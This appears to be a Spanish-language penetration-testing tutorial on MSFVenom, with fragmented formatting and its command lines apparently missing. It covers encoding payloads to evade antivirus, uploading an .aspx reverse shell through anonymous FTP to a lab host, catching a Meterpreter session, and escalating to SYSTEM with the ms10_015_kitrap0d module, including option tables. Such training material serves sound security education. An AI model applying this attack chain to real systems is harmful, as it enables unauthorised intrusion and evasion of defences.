Introduction to MSFVenom
MSFVenom: Una Introducción
MSFVenom es el sucesor de MSFPayload y MSFEncode, dos scripts independientes que solían trabajar en conjunto con msfconsole para proporcionar a los usuarios cargas útiles altamente personalizables y difíciles de detectar para sus exploits.
MSFVenom es el resultado de la fusión de estas dos herramientas. Antes de esta herramienta, teníamos que canalizar (|
) el resultado de MSFPayload, que se usaba para generar código de máquina para una arquitectura de procesador y versión de sistema operativo específicos, en MSFEncode, que contenía múltiples esquemas de codificación utilizados tanto para eliminar caracteres indeseables del código de máquina (lo que a veces podía causar inestabilidad durante la ejecución) como para evadir software de prevención/detección de intrusiones (IPS/IDS) y antivirus (AV) más antiguos.
Hoy en día, estas dos herramientas combinadas ofrecen a los testers de penetración un método para crear rápidamente cargas útiles para diferentes arquitecturas de host y versiones, mientras tienen la posibilidad de "limpiar" su código de máquina para que no genere errores al desplegarse. La parte de evasión de antivirus es mucho más complicada hoy en día, ya que el análisis basado solo en firmas de archivos maliciosos es cosa del pasado. El análisis heurístico, el aprendizaje automático y la inspección profunda de paquetes hacen que sea mucho más difícil que una carga útil pase por varias iteraciones de un esquema de codificación para evadir cualquier buen software antivirus. Como se vio en el módulo de Cargas Útiles, enviar una carga útil simple con la misma configuración detallada anteriormente resultó en una tasa de detección de 52/65. En términos de analistas de malware en todo el mundo, eso es un Bingo. (Todavía no se ha demostrado que los analistas de malware en todo el mundo realmente digan "eso es un Bingo".)
Creando Nuestras Cargas Útiles
Supongamos que hemos encontrado un puerto FTP abierto que tenía credenciales débiles o estaba abierto a inicio de sesión anónimo por accidente. Ahora, supongamos que el servidor FTP en sí está vinculado a un servicio web que se ejecuta en el puerto tcp/80 de la misma máquina y que todos los archivos encontrados en el directorio raíz del FTP se pueden ver en el directorio /uploads
del servicio web. También supongamos que el servicio web no tiene ninguna verificación sobre lo que se nos permite ejecutar como cliente.
Si hipotéticamente se nos permite llamar a cualquier cosa que queramos desde el servicio web, podemos subir un shell PHP directamente a través del servidor FTP y acceder a él desde la web, activando la carga útil y permitiéndonos recibir una conexión TCP inversa desde la máquina víctima.
Escaneando el Objetivo
Acceso Anónimo por FTP
Al notar el directorio aspnet_client
, nos damos cuenta de que la máquina podrá ejecutar shells reversos .aspx
. Afortunadamente, MSFVenom puede hacer eso sin ningún problema.
Generando la Carga Útil
Ahora solo necesitamos navegar a http://10.10.10.5/reverse_shell.aspx
, y esto activará la carga útil .aspx
. Sin embargo, antes de hacerlo, deberíamos iniciar un listener en msfconsole para que la solicitud de conexión inversa se capture dentro de él.
MSF - Configurando Multi/Handler
Ejecutando la Carga Útil
Ahora podemos activar la carga útil .aspx
en el servicio web. Hacer esto no mostrará nada visualmente en la página, pero al volver a nuestro módulo multi/handler, deberíamos haber recibido una conexión. Debemos asegurarnos de que nuestro archivo .aspx
no contenga HTML, por lo que solo veremos una página web en blanco. Sin embargo, la carga útil se ejecuta en segundo plano de todos modos.
MSF - Meterpreter Shell
Si la sesión de Meterpreter muere con demasiada frecuencia, podemos considerar codificarla para evitar errores durante el tiempo de ejecución. Podemos escoger cualquier codificador viable, y esto mejorará nuestras probabilidades de éxito.
Local Exploit Suggester
Como consejo, hay un módulo llamado Local Exploit Suggester. Usaremos este módulo ya que la shell de Meterpreter se ejecuta con el usuario IIS APPPOOL\Web
, que no tiene muchos permisos. Además, el comando sysinfo
muestra que el sistema tiene arquitectura de 32 bits (x86), lo que nos da más razones para confiar en este módulo.
MSF - Búsqueda del Local Exploit Suggester
Opciones del módulo (post/multi/recon/local_exploit_suggester
):
SESSION
sí
La sesión en la que ejecutar este módulo
SHOWDESCRIPTION
false
sí
Muestra una descripción detallada de los exploits disponibles
Con estos resultados, podemos escoger fácilmente uno para probar. Si el que escogemos no es válido, probamos el siguiente. No todas las comprobaciones son 100% exactas y no todos los entornos son iguales. Al revisar los resultados, bypassuac_eventvwr falla porque el usuario IIS no es parte del grupo de administradores, lo cual es esperado. El segundo exploit, ms10_015_kitrap0d, funciona.
MSF - Escalación de Privilegios Local
Módulos coincidentes:
0
exploit/windows/local/ms10_015_kitrap0d
2010-01-19
great
Yes
Escalación a SYSTEM en Windows vía KiTrap0D
Opciones del módulo (exploit/windows/local/ms10_015_kitrap0d
):
SESSION
2
sí
La sesión en la que ejecutar el módulo
Opciones del payload (windows/meterpreter/reverse_tcp
):
EXITFUNC
process
sí
Técnica de salida (Accepted: '', seh, thread, process, none)
LHOST
tun0
sí
La dirección de escucha (puede especificarse una interfaz)
LPORT
1338
sí
El puerto de escucha
Objetivo del exploit:
0
Windows 2K SP4 - Windows 7 (x86)
Last updated